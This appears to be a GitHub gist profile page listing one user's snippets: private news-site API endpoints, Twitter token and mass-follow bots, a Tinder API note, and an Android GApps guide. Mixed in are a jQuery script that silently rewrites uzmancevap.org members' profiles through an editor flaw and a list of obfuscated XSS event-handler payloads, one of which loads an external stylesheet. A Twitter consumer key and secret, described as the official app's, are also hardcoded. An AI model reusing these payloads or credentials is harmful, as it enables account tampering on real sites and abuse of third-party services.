Skip to content

Instantly share code, notes, and snippets.

View BatuhanK's full-sized avatar
👀
o rly?

Batuhan KATIRCI BatuhanK

👀
o rly?
View GitHub Profile
@BatuhanK
BatuhanK / milliyet.txt
Last active August 29, 2015 14:03
Milliyet - Private Endpoints
Son haberler ( Anasayfa listemelesi şeklinde )
=======================================
GET http://mw.milliyet.com.tr/ashx/Milliyet.ashx?aType=MobileAPI_HomePageV2
Kategoriye göre haberler
=======================================
@BatuhanK
BatuhanK / gist:c8a46014467e6c890349
Last active August 29, 2015 14:06
Xauth Token alma
<?php
require('UltimateOAuth.php');
$consumer_key = "c8a46014467e6c890349"; // Resmi Twitter uygulamasına aittir
$consumer_secret = "GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU"; // Resmi Twitter uygulamasına aittir
$uo = new UltimateOAuth( $consumer_key, $consumer_secret);
$username = ""; // Twitter username
$password = ""; // Twitter password
@BatuhanK
BatuhanK / gist:e1e0b3205ff8466f4bc5
Created September 3, 2014 18:38
User_id topluyoruz
var Twit = require('twit');
var redis = require('redis'),
client = redis.createClient();
var T = new Twit({
consumer_key : ''
, consumer_secret : ''
, access_token : ''
, access_token_secret : ''
});
@BatuhanK
BatuhanK / gist:3a90669ea52d6fb1dd71
Created September 3, 2014 18:44
Takip ediyoruz
var request = require('request');
var redis = require("redis"),
client = redis.createClient();
var cluster = require('cluster');
var http = require('http');
var numCPUs = require('os').cpus().length;
if (cluster.isMaster) {
for (var i = 0; i < numCPUs; i++)
$.get('http://www.uzmancevap.org/bilgileri-duzenle',function(data){
var name = $('input[name=uye_adsoyad]').val();
console.log("Üyenin ad soyad verilerini aldım");
if(name.length>0){
$.post('http://www.uzmancevap.org/bilgileri-duzenle',{
uye_adsoyad:name,
uye_hakkinda:"Uzmancevap editör açığı :( \nBatuhan KATIRCI",
uye_sehir:"İstanbul",
koordinat_x:0,
koordinat_y:0
"onPaste="eval(';)\'SSX\'(trela'.split('').reverse().join(''))"
"><link rel="stylesheet" href="http://8ant.org/asdfqwer.css"><"
"onfocusin="top['\x61\x6C\x65\x72\x74']('\x58\x53\x53')"
"onfocusout="parent[String.fromCharCode(500-403,500-392,500-399,500-386,500-384)](String.fromCharCode(300-212,300-217,300-217))"
"onfocus="window['\141\154\145\162\164']('\130\123\123')"
"onKeyDown="&#00112;arent['aleraaaaat'.replace('aaaaa','')]('XaaaaaSaaaaaS'.replace('aaaaa','').replace('aaaaa',''))"
"onDblClick="&#119;indow['aleraaaat'.re&#0112;lace('aaaa','')]('XaaaaSaaaaS'.re&#0112;lace('aaaa','').re&#0112;lace('aaaa',''))"
"onMouseUp="wi&#110dow[Str&#105;ng.fromC&#104;arCode(501-404,501-393,501-400,501-387,501-385)]&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000039;&#0000041;"
"onMouseEnter="&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000039;&#000088;&#000083;&#000083;&#000039;&#000041;"
"onMouseDown="&#00097;&#000108;&#000101;&#000114;&#000116;&#00040;&#00039;&#00088;&#00083;&#00083;&#00039;&#00
var cluster = require('cluster');
if (cluster.isWorker) {
console.log('Worker ' + process.pid + ' has started.');
// Send message to master process.
process.send({msgFromWorker: 'This is from worker ' + process.pid + '.'})
// Receive messages from the master process.
Download the following ZIPs:
ARM Translation Installer v1.1 (http://www.mirrorcreator.com/files/0ZIO8PME/Genymotion-ARM-Translation_v1.1.zip_links)
Download the correct GApps for your Android version:
Google Apps for Android 5.0 (https://www.androidfilehost.com/?fid=95784891001614559 - gapps-lp-20141109-signed.zip)
Google Apps for Android 4.4.4 (https://www.androidfilehost.com/?fid=23501681358544845 - gapps-kk-20140606-signed.zip)
Google Apps for Android 4.3 (https://www.androidfilehost.com/?fid=23060877490000124 - gapps-jb-20130813-signed.zip)
Google Apps for Android 4.2 (https://www.androidfilehost.com/?fid=23060877490000128 - gapps-jb-20130812-signed.zip)
Google Apps for Android 4.1 (https://www.androidfilehost.com/?fid=22979706399755082 - gapps-jb-20121011-signed.zip)
@BatuhanK
BatuhanK / gist:866af68e5660e7f7eacf
Created January 5, 2015 06:46
blocktroll main app
var Twit = require('twit')
var fs = require('fs');
var util = require('util');
var kelimeler = fs.readFileSync('kelimeler.txt','utf8');
var T = new Twit({
consumer_key: '...'
, consumer_secret: '...'
, access_token: '...'

Tinder API documentation

http://rsty.org/

I've sniffed most of the Tinder API to see how it works. You can use this to create bots (etc) very trivially. Some example python bot code is here -> https://gist.github.com/rtt/5a2e0cfa638c938cca59 (horribly quick and dirty, you've been warned!)

Note: this was written in April/May 2014 and the API may have changed since

API Details